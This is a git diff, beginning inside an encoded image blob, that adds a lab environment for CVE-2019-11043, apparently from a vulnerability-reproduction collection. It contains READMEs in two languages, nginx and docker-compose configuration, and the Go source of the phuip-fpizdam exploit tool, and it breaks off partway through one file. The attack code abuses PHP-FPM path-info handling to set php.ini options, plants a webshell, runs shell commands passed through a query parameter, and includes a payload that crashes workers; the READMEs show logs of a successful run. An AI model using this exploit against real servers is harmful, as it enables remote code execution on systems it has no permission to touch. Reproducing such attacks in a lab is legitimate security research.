z)-+MDaQm>;REx)?1~M^+P*|xSkL}v2d%XLpUZf3Zc475G-OfBB$se%j0AS$+Q~`i_ zNx;EQ-r@#5FUkQWp*M#S4W}q41<&M9^VqQLbz{@vtEAWot{`lWh|ZQB2&tTsfAJ3 zIXEM-_1o)%gb${w`gM!50Uelldh$5`zW-HBFYxs~0p-U;;r76EMN7ub$0it`FS%nK zc{gc9MO6 z9d-X``4^4P&(DFbxpuJG7phi3%;C;3ik4l z@9l$&_9eOOUS*`T*!4!3QzQT5w1k4OHkKY-9jSTLlYB*X#9;<=v|`6$Pl4aBw2HZf z`n9ky1yuWWjstLB@oIZ=S+WslM+6!SCH3x=*fwn$_gC-lEj9&%iIK#O5!LngZ=Dwo zJWQautCMzt8-Ae-e7yZDtyy~uRbjSz4W+(=GKGbOmtF`_xfG!|++iG}Bd0*Qpw>dn zRE2J!nKK!bg=$w>N&9dGVUc{1GwqT!qCFbRi^e43xO^#MTg<0JMn=e-s9|}%$*fc7 ze*B!5lVi5g1OsTxG>BZkBNiDGr1^&iZUsMw5pU6Sl^$abrWC6fZ)Vhs`o%3(20+lC zIHRf(s$U3U!pB-({WaBek&Sg9WMCYHr2D}jp>B<5yx73(Jmq0!Z5ME$H9?}7 zSQzbp2PfAz?>m)Qk5==DCBd=AusPXH!IDxXy=k)dnag%$S$*#XYJh3?UHcwqF3 zsO7RCyY{kHWgHODjT0W;Kt=))y`#H3CMLQ6Dh~q!-X>^^G75$P5;lp~O43!KIMz+{ zX!gFguFiqy)g!bUQn!*Q^xC`Ux(viT{*)j3s?219UGaY-W+{mWqH+a{Ox4Q{cVtGb7kt>n=;M2lYTEhD zX|V=&jsa{1ERq@?c|U*2lOp<8m)vdhj^#snrqsRfCifZ&)f_Gwuo)zZ)GL;QLtSXR zH(??wk(O4nvOzc$41+g&F_A#}dh_PZ(e?oA_pmS{Ipridgeg*`uY9CnjhI2dhZq2*$|Itaf)`1w<9|_Ic?)Q0O0mf--E*GTT0PHUw^VQ>xOfh#WwgV*s`qADws}S zyasd+HK3}N3rbp$!YxRtd@gP5zS(Wm?i# zY?Jt=erZwou@L<_nuH;HkDbu#7Rr^(av1lRaHyaoE)NF8nDz%8lxs)oO*aH~AI`g< z1KUG{O8$D_#S%A6W9kfu$~xIg76t}XJV3Q$`(=B*$Rj=t@@NNOR+)kyMMfni_C&$c z3MTI3b2UEl-wgki!Kt5|vnIDehG7OGIrm6w2#)=>#j>24Clvl$IK$79(C=Z=XG|lX z^48LlbZAH+C#~Amd?{jIhbKBAA-JfhNSY#^SJ5?X^2ep8N9vcby6nm1oJ6>27B(ixs7?Xq8rY@n-JD)?G8Rm15o>A9PUNlFcQ3^+ z=&t4As!vVD^=+3F?oOBBHCv&jA}777sgOuW?HsLrr|r5Qq(dM@R_}nI0ff~|{Bh0T zK;J7-Rw^7Ex9v+={dwCK+YQDzb8gaqv0yR~Y}f$qH?TR^ylPGbKHao#vE<9k#Yg@B zdI5xhw+hhp3}-s|oLnmK+>IP33li|REtA~KiJ)is*YzJ zA%mUv_AS8X>T07Yl`K%DoX9w`bxPjg9)erabUXtUcq8QLj4CXfDe)vEvZJq!(nOMH zbE=vcGeeEO%+>jA)b^yo_{;7AIhv|8 z4HLfQos$p0EdMzp#a${YE3<==X}gV#AS4{$9%+dB;c{VI3@F96+{(0{pV}XrxT#BEAyD^VH5yY|^(VIRDEq|Czr}y(|8lp za3fv$&xWb1w%X75KNqIGS>$v^HO_1dsqX*n%v{!$R@9EV%BG0?&(L}I>Jgm5T?H6A zH~9WDbW%PZy!^=wOBI@Z z7xDkQPM@UwXCQt2^U=FyrvLplFP;!&%+wi8w=bgoAAhX-dWeSY|L^iwW8ZbB=w?Zx<}E6-iN_dMw(B$8Hl z%~z<(R<`o4qB8wuG8f7HaqP3&i01o2D%sG?A0K|+Dn0iL^ndZ^1>XSt1`RGUL}6Gf zk)(Av&F>VUpH}B&c3_qUcS^qz8h!?A?SOp;N6%xLp?Cid8a4--SK#0X2;sy9NAy#< zl#qWdwDlBH>|{8+~yz zHFp2r%P#&_D^Swa^#+Y-*G{*`Kgi0q=YPy)Isd6UmXwqf6(1k8v$GTCL-+1f_^OwB z=TODHG@*V@pi-VLV-vw};Ufa4hf0ZKx@ zOBv1v?aI=_J@5V1uwSOz;o`sc78?2<)TYB}P^}76y*-JSnTNd|(kT_?U{dBQbn4Z_bMx@Dz~JYX zfFpmjQKL$vDC60hgFj=Qf2Tv7x}|o1wR51GM5cWE?2UNq_xVjsOkgBJ79BIIv9Z71 zJqulcJO8}8y1JxgICyx@R(q@yXG(qj*VLbP&fSG}S*Cz}r*W@^6nYVRMrh)>${Or! zZc<)X$JE~54rlv1mtb`0R~NOe>M_P(WLgfhLGNKUK1(%e(CoxFXz}5*9lo6`>D9Y1 zi?ft*b8|xiVN8Dp+sd@3wpT+>{PY?)s$r*ZLRIQw(Ccm4K0%VJQBhHbog}flQvp-i ze$1kdvdBp!EG8xa3Lqp`6SMBg%fI3(cb>aXa+Nkh{>_^=*F;5i5G5t0P|*~%^XJ9f zaPKS=*!1y9+JueRhnDMMr&`b9{#hPsxv^8{Qc|J9d<5&Q?tNS zlC+e?WQ`Z}P50&xC5bwH9A0&Is??wGK8zW0>6YR^nx>|V*i{p+2`8x{ZI>Nt(mUQq zO_Wc1D+{VF7uD6hbIZ;T3lD#@)R(=tud9~*=(BcS&Biwh!%lFTl!Pkhu0$bHSquh) zLR}LRdtxg*<}td^{Iq<`tT*$XVW(?(0Y_Er59OHc(NY_%`>L*GqPw)a#ci*xXNat- z>Y4ejq>y72v`=B=%u$q4r^=NRX;^Y)g=I8%?%WY|U!gbjSrz(hP)!Tt={#Uw;)(;r zt~Tmy2-)t0$CQ`M59KFva%A_Fm49X^QlZfj;MIsIuW3tTW8>y#D>EBA`@F<@=i3qb zf4|?V#{%F`O%i4S#wTF$1Lfu>B&ga5SYhB09N|PnGimjN|6~kaLt95DG(JAwUTQZz zgz4MbM73CCha8j`COv1*sHBL~!01;KcVSHsv@t`Z_*J=(`p6^vdy74|V@uR!k2|gn%y{n}yV)J!9N9S^_^;zdLB6^W-<9mk`CT@Rgt z%uI5qlM_3E3u^!9lAkzXI{d{L=Z5dT4h^ZFK7Fd#TdU@S*DEL}_;le%%5aq%H$=RR zv8hAa7->RI`d5f)yfBqt%>L5+b@US7UpwQS6B%5Qi2*Vh-8wzeqfb`LCb z;bAIA*Y9sBgXEX->C>^@NgrOq&XOrXp!Y-6>zNsom%+g^1=VXBW(8F^F3F7svbOH- z$76Me1e?a#_h&8(r)6awkCEI89WAqf0rp`mS&YnKMb&lxzZ=G%jp~^o<_Mf+6b%ev z_NRXg=Z>FW?a~(1+VGsYh57mN3JS+z2m%~j zBJ#S!W?Fq=Vf`V)2`Z+hpkow0g+?+$*Dysz7b+_&hoOMOQ@z4Zd0Ci}N^&D`T7Pls z^}*h5-nym5&U;IHdj(lpB$$dhdS}P=<;$080Y`_#3y1m6n7qO|1{fC2DJ*P#$N4DD zih+xpdlRgek&|;0KB3jXW8#&}{xp^K6qtk9553VNM|H_i;MT1(U|jCCirKT!75@=} zpjNKH?H@NbHeQ^nulH8d(xQRF=ohn2TB36huNItPrB5CQ+ee^g9x^;ky7j9{Odioti$=P}9*ew}Y-_eJ@qpTbO0mXO|UxGu3nW*dE48oL2^~E++M5OXS++} zSRg!PWfPN+@Skavr|^Fa6#05zhligQ(p0j*>ij-BTtDhRTKN8f4fze*YOM7@{X}A+ z(pPE+&yiHtPf@!-KliZAbJK+6szd!j*=QNK70K1@`L6BUeL5pwV}c7TnfM|u0^3P0 zT)M;wnTC{TcP!)~~%8atCY#?IkkpyykB8CmD zU>3bY?^dqtKe?*k}souZ_?h!j2jO4_%O z1^FTQbz0h0tj^8e(a}*WvF>3h&y6%B7N);3{7__?Sy;$EoEja);KH)9*h~FjNNHw$ zeck1A{UKplI!?xGD|4y)tBPKq)(VeqiBeEdQ2*@$_`rXFqEMO3ghv+UO3$S=*{)qf z393HgqbN6~J9FlY^~sU8*KAtfQ3?u>(;`A$r8EID`D~Tm>L0`O_iHvTWKgm6E;CDo z^h|-5qdRCML#*}N0GjxUuZL~JgjACWmIyRpfJy;1%Fwj9Xenn_27Mb|d#mLVexA`+ z?5wTdynIQH9a|-p1!&S=q3Ho3_yQeWHkat`Z*lMt7^gWihwpgc;0r5W*t9+@t*aO2 zfT?&ry^42Ech-{Z6P61H>f})n+%-+|T`Ki2oI7_FJj_}Td=81drB{|?2jfbXkB#$< z>J1SkW8?H`9SseQChJmfsY!@(?okUxW}TX!xO%0X2C1ob$x90g)KbQRf=I<&7h{J+ zah8(R<@8Rw^GOc(;V_u*>dB%ktgL{TNoC`CjV9Lw^oyQ_g_bneq@t=~M#{!k0q&%~ zp_Zz=cpiV{l9+SmXnb<=&BUy*#_5gRn!^bJHeq3HK~;g|Bd7QIjvJ zov)n-+f(uyyK{?&Cn}sWkXT6Wc|`=tV+S+XFJB%Eun~qWYj3@m@F?iUuGx4Me=id< zHytv;(zl2v<;%#67f?$sg}HcoRxlVDYHD6XeiwI3Q=flGcgg!^cqmL4Jwe)fKPk&M z`OMe~w@A#`=zT&DH8r8|$pAVoNqLt5?gWs_Wsj6ZXzezQs2Hg4$T>|WWbDCJKX~#a ztd+@!Qs(GiH%Unp$zG??p~;N|kTn1_xe;^#K9nzS~_$Ae&-z&XeXf z=pqeUF05xNA9toe(rRiLAyXiu_KHj8m2Ln-b3T7Y0eV8N3J6fcE%ykX87s3RLp~eU zGHB<~)E^zJ6Fm#cHpe5HgW!pjuKpQw2&u2HC)E4<1OWR$MhETTBbyI)r(&Q@qJNo- zAuKE`CoiutmPPKDtN6gGYTAKL1LQ6rgVqwj3ILx$o)j1lTD7$dvj>QZKqvK$(tL-h zI?tIfj{YO{6!AHsXmJLg)msYVkiMwMj#CC^S;5R9IS5W9X?Am@NH7aG*@?3#$kGtt zP9ej!J|c`~PndsypWZUV46qEih=Qi(MPiNzN%X3a5RFrzW69WAX1Fva(` zjf19XzZja26qy-LDJsHpsEosjat9;HKf^?@M#ja(^|W{dL3nF-F8o;;Axr3d1swGw zAUjB_E7~i6a03*?yBM&RcXKOcD3}LFwX?M)?-70}N5{xW`D@&w+NzHoc2BX0i!)pn zwnY%YXJiPZTfb;Gqs}C=viv3c6@o^9q1Rj-M&&UOI?V|_%bu%1JU;7|ow)yhh|V!;zo)&Qaxu*0bR5mDUx5608RiX zY;~u!s~?Y&p`R?mt?h^cB%nYzZ`~4-TmZ(MW#5>XK4qUQY?nCXOu#PIJ}_;Kjsu(^ z_W|4=G9eg`1-KgyQNKEZ)L*YwVXxw$Yj+9;c6_#9u9{ z$c4sf$55qKsUJKE%CJjI3MiV*u4K0suVe_$QyhX7600u#FLPoFc$mbhlRqvu8`W3h zE+e4`_dxPHS^Oad0XKmakYfb>xo(IpPv*{&P@g!`H_rjCwR?9iCnvRQ>CM$ zgWNLdUST1F#^c8vtP9@i<@OU?0F!XZIyY(Czkk=PeV8O{htvKC$gB|iEpv$dU9v0mdH!uQQVm#S70zoI8cr_l33SdmxA&>b z*o9_Cd$trXu>t11{VpOhQgdn=pl1ifM6>oc*KsbPVPSlfF55zbew%YC6<**-gg>T8+EV@&L_Kns{7egmAd|=pi z++DBD2Dt)|s%758S29UC%sVN(~dTQjox9rmpQyvEt>*k-NplE~;$p;jaNGxF) zRMY;y?K4uGgln(emItSQNUS$OSlK8HIOyCEC(vvGemh=0aaOhOw(H`9eUMxfe0?Pq zVwlc^G^VqQ87yvzOt?}LyiqqB4D;9wYQ8r&@jj7wzFlTG`x&U0XD zGgZq4jc=|ipQEE2TCzbJAWws&9%|K>H4X0d3V`c>f@wi@fx!r%yTaPmAwwTnQI|?- zU}M8QSYTlD-gBlv9W4!X+0xpYe`gI>Yau(9iH1<+N*IOV`-XM@U5Q707wG9j>ksjT zCr_Q?Q+ZZ36VAQSM6FI#TTsBe|HI$NVX;lBRPa#mZYhi^K)<8u{@=}txp=*&rMg(J zZRm6Vw-6d0eiwFKkd#cYe9_Iwxw4*2`Hg}41c_5DtdPAOX&bAVdbc36_5q8*xaX!lWmEtjZ z=gE^x-n(mdT<(DJ!m6soA$8Lq3Y&kYufY%M4MQg&>^(E%a>w7(15O)!${th{&&BkR z4LFer^iIB)@)3q09KvVXk_K^;Iba`)^E&1m<7U)RURLIvPe#&Ug8fBY22*8kQ+2tz zt{+VhZ(O5Z7VjHrdTy}4#C0Yjr{ENnES>PS%9(qSn$9C-u zRJQ~k4N)IF_3Xrek+_lHM3rGopC=*FweMj}@ubg^*IeDR_6u^nfzrn5#jT3WewhUg z6RqdNLj{F}G3_+0tdM1?ks|*CZ#l7AIvmI)G_T7xpF37-3@w?q!7tHIuW@i+jFt7< zZKwIY8x9J0?*`$%{;bsJ8OY;swx2NBoz#SoMPw6ST1RSkySuy90TfXdR>D+*d#xa( zI#O9$9{okU=Zl~qz;+DLkJnWfKes+%_F0;w=3(VG{zg7PkseSs$;3Ku3ON!*N=7yo zg&yL#xJ2y=*i(EZj`H+r4KqAn2B>uxXldDzXU*X>!CQs3e-eR?U`K4NDHjukY*2lI zr%s-XwMg}vmxvQ-G{KfEUmx@#!xMwvuaQ|_F!I^;v$Y^UteU9FC_?Ejg(=U!Zh~W2 zEJaNVU9l_bQ;_Ggv-pst$9@lB!ZA^ib`54KT-{`WG|PxfjcrAhB|V}3?K@{V*FXuU!f3z_Cp z>a5M@J>5EP^D%~EtPNI&@<>E4AiN|cBYN#+#j@=ci`v#FsQzmTyDr1y<2QkfTRWr6 z;S79}myAX+G~C)Jk@k)b{uMdq%P9#7*{RD<6q<%-ZLMqKdBE1tXXY|1YXwMronis}>wc`q< zUCJRDffbrfux%iG+yLZXc^Q&f7b(!Y&>Hiz-qnK8s~QKWB;-j zL+Q&r*VW@t+0xXc1Sp?T!u`9WJ?h7S=XYpxBGNBNcxIroU?L4Sm&@nCQkP)NhdR5D zlbS>AVnj15{3z%BzfK=S98$$Y)}kV$pEbCAOXH9-{xV|A??-U;f@mY(CkP34SF= z-x+I4EjPd`G}b=<$$JiI1Kkq1%<(QMKBDS6I`6eSG_+;DSl$k&y9H7^u#%7Ff0o0F zM?By2nFa$qhFuNs0BGbghrp(b1TbqmILyF(_SCTA!*PHSg{>0y0R8!sABVz7b4!k$cJP=5jBE3dd$TP9|)KU!*+1Iqk+VL@42JHD!G{e$S(sypY6 z8?hJ+7g3cY53JeW>ST3ZtKrqJco5Af#tJY{E35%@N7dFf$Qk{w9zq)|?54qVcSt=H zzFe&?g?~3}TjpNgjAuEuMrTCm;q9j2K0jqT0cU$}Wdl+qC>May+M#ZdSy1r9^&nSf zh4$$<~Z+<%;7xL3m~^(b@RCb$;ime07)8BF9Zi4AE;Q00jW<37<{*B zGV}}1fovtR(g~zgK_NJO9BbN2*|~?r!s0o1BT>I6H`EEdu=D1XAb>&=@img_p1H1J z;6<39A4H--xqA&o46^dPr`%n91iJyq2>C=C$#SIyDk9`2h; zz2ld$)i=q><7<_$u_U<3;Aqk_TEe~lyGAul;qn{EjW zR&P%%hJPq)v0d>8d5kN4aEwj>pUvcxlJEGjkJ`fT6}17pCF7M%pyZT=x!uM+OCB=T z*4C&@J3Ou5T14o-|2T#g{Hqohl9o1{JMKMG18R$VAq9=?o&JmPIoUIIivJR(Bt)66{wK`5@*Z}T0T1JEf3Qebt* za7y3OJHTxo+_{kBEk#P?AM5MeV!ocUvUw-v(2Q%8ghED@ufLX7+`EJXbOPFRjY|Rb zquCb>&$8sW3xyC6!ZeJGj#6TlLVf`>EdsrKV9~8fPttV`B*2uz@7v#AQ9zt2EWFk0 zzDeAV+YTs}at!ZQ(8YcNjG>{c%T-!hni8Lzm-iNu)Y0hfkKq`LVyb*r%2{o`u5%})y- z3k!<~xSF>d>KMG1)ML9!&61K5C4GJU@?gc-hxhM?>t+vLhTjpiHC8sZIjHY}YQ+V0 zii=5I?7~U;WA}m!#e2yS68JL%pNM}WK+kJd&t5=0}@&_aQlw9EfS>1tQcu8mi##)1dzXb!EJe literal 0 HcmV?d00001 diff --git a/CVE-2019-11043/CVE-2019-11043/README.md b/CVE-2019-11043/CVE-2019-11043/README.md new file mode 100644 index 0000000..9daeda5 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/README.md @@ -0,0 +1,51 @@ +# PHP-FPM Remote Command Execution (CVE-2019-11043) + +[中文版本(Chinese version)](README.zh-cn.md) + +There is a PHP remote code execution 0-Day discovered in Real World CTF 2019 Quals. + +> Real World CTF 2019 Quals is a CTF challenge which was organized by Chaitin Tech in China. + +References: + +- https://bugs.php.net/bug.php?id=78599 +- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ +- https://github.com/neex/phuip-fpizdam + +## Environment setup + +Start a vulnerable PHP server through following command: + +``` +docker-compose up -d +``` + +After the environment is started, you can see the default page at `http://your-ip:8080/index.php`. + +## Vulnerability Reproduce + +Use this tool to reproduce the vulnerability, : + +``` +$ go run . "http://your-ip:8080/index.php" +2019/10/23 19:41:00 Base status code is 200 +2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate +2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] +2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect +2019/10/23 19:41:02 Trying to set "session.auto_start=0"... +2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS +2019/10/23 19:41:02 Performing attack using php.ini settings... +2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs +2019/10/23 19:41:02 Trying to cleanup /tmp/a... +2019/10/23 19:41:02 Done! +``` + +Something is show that the process is finished successfully: + +![](1.png) + +A webshell is written in the background of PHP-FPM, visit `http://your-ip:8080/index.php?a=id` to trigger RCE: + +![](2.png) + +You should notice that only part of the PHP-FPM child process is polluted, so please try a few more times to execute the command. diff --git a/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md b/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md new file mode 100644 index 0000000..92d6bf4 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/README.zh-cn.md @@ -0,0 +1,49 @@ +# PHP-FPM 远程代码执行漏洞(CVE-2019-11043) + +在长亭科技举办的 Real World CTF 中,国外安全研究员 Andrew Danau 在解决一道 CTF 题目时发现,向目标服务器 URL 发送 %0a 符号时,服务返回异常,疑似存在漏洞。 + +在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。 + +参考链接: + +- https://bugs.php.net/bug.php?id=78599 +- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/ +- https://github.com/neex/phuip-fpizdam + +## 漏洞环境 + +执行如下命令启动有漏洞的Nginx和PHP: + +``` +docker-compose up -d +``` + +环境启动后,访问`http://your-ip:8080/index.php`即可查看到一个默认页面。 + +## 漏洞复现 + +使用中给出的工具,发送数据包: + +``` +$ go run . "http://your-ip:8080/index.php" +2019/10/23 19:41:00 Base status code is 200 +2019/10/23 19:41:00 Status code 502 for qsl=1795, adding as a candidate +2019/10/23 19:41:00 The target is probably vulnerable. Possible QSLs: [1785 1790 1795] +2019/10/23 19:41:02 Attack params found: --qsl 1790 --pisos 152 --skip-detect +2019/10/23 19:41:02 Trying to set "session.auto_start=0"... +2019/10/23 19:41:02 Detect() returned attack params: --qsl 1790 --pisos 152 --skip-detect <-- REMEMBER THIS +2019/10/23 19:41:02 Performing attack using php.ini settings... +2019/10/23 19:41:02 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs +2019/10/23 19:41:02 Trying to cleanup /tmp/a... +2019/10/23 19:41:02 Done! +``` + +![](1.png) + +可见,这里已经执行成功。 + +我们访问`http://your-ip:8080/index.php?a=id`,即可查看到命令已成功执行: + +![](2.png) + +注意,因为php-fpm会启动多个子进程,在访问`/index.php?a=id`时需要多访问几次,以访问到被污染的进程。 diff --git a/CVE-2019-11043/CVE-2019-11043/default.conf b/CVE-2019-11043/CVE-2019-11043/default.conf new file mode 100644 index 0000000..994cfad --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/default.conf @@ -0,0 +1,27 @@ +server { + listen 80 default_server; + listen [::]:80 default_server; + + root /usr/share/nginx/html; + + index index.html index.php; + + server_name _; + + location / { + try_files $uri $uri/ =404; + } + + location ~ [^/]\.php(/|$) { + fastcgi_split_path_info ^(.+?\.php)(/.*)$; + include fastcgi_params; + + fastcgi_param PATH_INFO $fastcgi_path_info; + fastcgi_index index.php; + fastcgi_param REDIRECT_STATUS 200; + fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name; + fastcgi_param DOCUMENT_ROOT /var/www/html; + fastcgi_pass php:9000; + } + +} diff --git a/CVE-2019-11043/CVE-2019-11043/docker-compose.yml b/CVE-2019-11043/CVE-2019-11043/docker-compose.yml new file mode 100644 index 0000000..01a789e --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/docker-compose.yml @@ -0,0 +1,15 @@ +version: '2' +services: + nginx: + image: nginx:1 + volumes: + - ./www:/usr/share/nginx/html + - ./default.conf:/etc/nginx/conf.d/default.conf + depends_on: + - php + ports: + - "8080:80" + php: + image: php:7.2.10-fpm + volumes: + - ./www:/var/www/html \ No newline at end of file diff --git a/CVE-2019-11043/CVE-2019-11043/www/index.php b/CVE-2019-11043/CVE-2019-11043/www/index.php new file mode 100644 index 0000000..93690f0 --- /dev/null +++ b/CVE-2019-11043/CVE-2019-11043/www/index.php @@ -0,0 +1,2 @@ +` to all PHP scripts (you may need multiple retries). + +## Credits + +Original anomaly discovered by [d90pwn](https://twitter.com/d90pwn) during Real World CTF. Root clause found by me (Emil Lerner) as well as the way to set php.ini options. Final php.ini options set is found by [beched](https://twitter.com/ahack_ru). diff --git a/CVE-2019-11043/phuip-fpizdam/attack.go b/CVE-2019-11043/phuip-fpizdam/attack.go new file mode 100644 index 0000000..c4d9baf --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/attack.go @@ -0,0 +1,67 @@ +package main + +import ( + "bytes" + "log" + "net/url" +) + +var chain = []string{ + "short_open_tag=1", + "html_errors=0", + "include_path=/tmp", + "auto_prepend_file=a", + "log_errors=1", + "error_reporting=2", + "error_log=/tmp/a", + "extension_dir=\"\"", +} + +const ( + checkCommand = `a=/bin/sh+-c+'which+which'&` // must not contain any chars that are encoded (except space) + successPattern = "/bin/which" + cleanupCommand = ";echo ''>/tmp/a;which which" +) + +func Attack(requester *Requester, params *AttackParams) error { + log.Printf("Performing attack using php.ini settings...") + +attackLoop: + for { + for _, payload := range chain { + _, body, err := SetSettingSingle(requester, params, payload, checkCommand) + if err != nil { + return err + } + if bytes.Contains(body, []byte(successPattern)) { + log.Printf(`Success! Was able to execute a command by appending "?%s" to URLs`, checkCommand) + break attackLoop + } + } + + } + + log.Printf("Trying to cleanup /tmp/a...") + cleanup := url.Values{"a": []string{cleanupCommand}} + for { + _, body, err := requester.RequestWithQueryStringPrefix("/", params, cleanup.Encode()+"&") + if err != nil { + return err + } + if bytes.Contains(body, []byte(successPattern)) { + log.Print("Done!") + break + } + } + return nil +} + +func KillWorkers(requester *Requester, params *AttackParams, killCount int) error { + for i := 0; i < killCount; i++ { + if _, _, err := requester.Request(BreakingPayload, params); err != nil { + return err + } + } + return nil +} diff --git a/CVE-2019-11043/phuip-fpizdam/consts.go b/CVE-2019-11043/phuip-fpizdam/consts.go new file mode 100644 index 0000000..2bdb18b --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/consts.go @@ -0,0 +1,14 @@ +package main + +const ( + UserAgent = "Mozilla/5.0" + PosOffset = 34 + SettingEnableRetries = 50 + MinQSL = 1500 + MaxQSL = 1950 + QSLDetectStep = 5 + MaxQSLDetectDelta = 10 + MaxQSLCandidates = 10 + MaxPisosLength = 256 + BreakingPayload = "/PHP\nis_the_shittiest_lang.php" +) diff --git a/CVE-2019-11043/phuip-fpizdam/detect.go b/CVE-2019-11043/phuip-fpizdam/detect.go new file mode 100644 index 0000000..a6e9519 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/detect.go @@ -0,0 +1,180 @@ +package main + +import ( + "errors" + "fmt" + "log" + "os" + "sort" +) + +var errPisosBruteForbidden = errors.New("pisos length brute is forbidden by command line options") + +type AttackParams struct { + QueryStringLength int + PisosLength int +} + +func (ap *AttackParams) Complete() bool { + return ap.QueryStringLength != 0 && ap.PisosLength != 0 +} + +func (ap *AttackParams) String() string { + s := fmt.Sprintf("--qsl %v --pisos %v", ap.QueryStringLength, ap.PisosLength) + if ap.Complete() { + s += " --skip-detect" + } + return s +} + +func Detect(requester *Requester, method *DetectMethod, hints *AttackParams, onlyQSL bool) (*AttackParams, error) { + var qslCandidates []int + baseResp, _, err := requester.Request("/path\ninfo.php", &AttackParams{MinQSL, 1}) + if err != nil { + return nil, fmt.Errorf("error while doing first request: %v", err) + } + baseStatus := baseResp.StatusCode + log.Printf("Base status code is %#v", baseStatus) + if hints.QueryStringLength != 0 { + if onlyQSL { + return nil, errors.New("only-qsl specified with --qsl, nothing to do") + } + log.Printf("Skipping qsl detection, using hint (qsl=%v)", hints.QueryStringLength) + qslCandidates = append(qslCandidates, hints.QueryStringLength) + } else { + for qsl := MinQSL; qsl <= MaxQSL; qsl += QSLDetectStep { + ap := &AttackParams{qsl, 1} + resp, _, err := requester.Request(BreakingPayload, ap) + if err != nil { + return nil, fmt.Errorf("error for %#v: %v", ap, err) + } + if resp.StatusCode != baseStatus { + log.Printf("Status code %v for qsl=%v, adding as a candidate", resp.StatusCode, qsl) + qslCandidates = append(qslCandidates, qsl) + } + } + } + + if len(qslCandidates) == 0 { + return nil, errors.New("no qsl candidates found, invulnerable or something wrong") + } + + if len(qslCandidates) > MaxQSLCandidates { + return nil, errors.New("too many qsl candidates found, looks like I got banned") + } + qslCandidates = extendQSLCandidatesList(qslCandidates) + log.Printf("The target is probably vulnerable. Possible QSLs: %v", qslCandidates) + if onlyQSL { + return nil, errPisosBruteForbidden + } + + for try := 0; try < 10; try++ { + if err := SanityCheck(requester, method, baseStatus); err != nil { + return nil, fmt.Errorf("sanity check failed: %v", err) + } + } + + var plCandidates []int + if hints.PisosLength != 0 { + plCandidates = append(plCandidates, hints.PisosLength) + log.Printf("Skipping pisos length brute, using hint (pl=%v)", hints.PisosLength) + } else { + for i := 1; i <= MaxPisosLength; i++ { + plCandidates = append(plCandidates, i) + } + } + + payload, err := MakePathInfo(method.PHPOptionEnable) + if err != nil { + // methods are hardcoded, this shouldn't happen + panic(err) + } + for try := 0; try < SettingEnableRetries; try += 1 { + for _, qsl := range qslCandidates { + for _, pl := range plCandidates { + params := &AttackParams{qsl, pl} + resp, data, err := requester.Request(payload, params) + if err != nil { + return nil, fmt.Errorf("error for %#v: %v", params, err) + } + if resp.StatusCode != baseStatus { + log.Printf("Status code %v for %#v", resp.StatusCode, params) + } + + if method.Check(resp, data) { + log.Printf("Attack params found: %v", params) + return params, SetSetting(requester, params, method.PHPOptionDisable, SettingEnableRetries) + } + } + } + } + + return nil, fmt.Errorf("not vulnerable or other failure, IDK") +} + +func SanityCheck(requester *Requester, method *DetectMethod, baseStatus int) error { + resp, data, err := requester.Request("/PHP\nSOSAT", &AttackParams{ + QueryStringLength: MaxQSL, + PisosLength: MaxPisosLength, + }) + if err != nil { + return err + } + + if resp.StatusCode != baseStatus { + return fmt.Errorf("invalid status code: %v (must be %v). Maybe \".php\" suffix is required?", resp.StatusCode, baseStatus) + } + + if method.Check(resp, data) { + _, _ = fmt.Fprintf(os.Stderr, ` +OK, here's what happened: + +I was trying to set %#v setting using the vulnerability. +If it had been set I would have been able to detect it so I would have known +the attack params. However, my %#v detector says it's +already set before I took any actions. + +This can happen for one of two reasons: + +1. The server has %#v already enabled in the config (or the script behaves like it). +2. You launched the attack previously and resetting back to %#v failed. + +If it's 1, everything is simple: try another detection method. + +If it's 2, there might be some problems. The server now runs with the poisoned +config and may seem broken for other users if the detection method is intrusive +(like "output_handler=md5"). I don't know how to fix it. + +If you have previously retrieved attack params (QSL and Pisos) try to use them +with --skip-detection. If you manage to get RCE you can fix the server. Another +option is to try --reset-setting flag, but I'm not sure it will help. + +Another option is to use --kill-workers, this may kill php-fpm workers with SIGSEGV. +They will restart and the server will become usable again. + +If you don't have attack params, used intrusive detection method and don't own the +server, you are fucked. + +`, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionEnable, method.PHPOptionDisable) + + return fmt.Errorf("already attacked? Setting %v seems to be set", method.PHPOptionEnable) + } + + return nil +} + +func extendQSLCandidatesList(candidates []int) []int { + values := make(map[int]struct{}) + for _, qsl := range candidates { + for delta := 0; delta <= MaxQSLDetectDelta; delta += QSLDetectStep { + c := qsl - delta + values[c] = struct{}{} + } + } + var extended []int + for qsl := range values { + extended = append(extended, qsl) + } + sort.Sort(sort.IntSlice(extended)) + return extended +} diff --git a/CVE-2019-11043/phuip-fpizdam/detect_methods.go b/CVE-2019-11043/phuip-fpizdam/detect_methods.go new file mode 100644 index 0000000..ac035d6 --- /dev/null +++ b/CVE-2019-11043/phuip-fpizdam/detect_methods.go @@ -0,0 +1,29 @@ +package main + +import ( + "net/http" + "strings" +) + +type DetectMethod struct { + PHPOptionEnable string + PHPOptionDisable string + Check func(resp *http.Response, data []byte) bool +} + +var Methods = map[string]*DetectMethod{ + "session.auto_start": { + PHPOptionEnable: "session.auto_start=1", + PHPOptionDisable: "session.auto_start=0", + Check: func(resp *http.Response, _ []byte) bool { + return strings.Contains(resp.Header.Get("set-cookie"), "PHPSESSID") + }, + }, + "output_handler.md5": { + 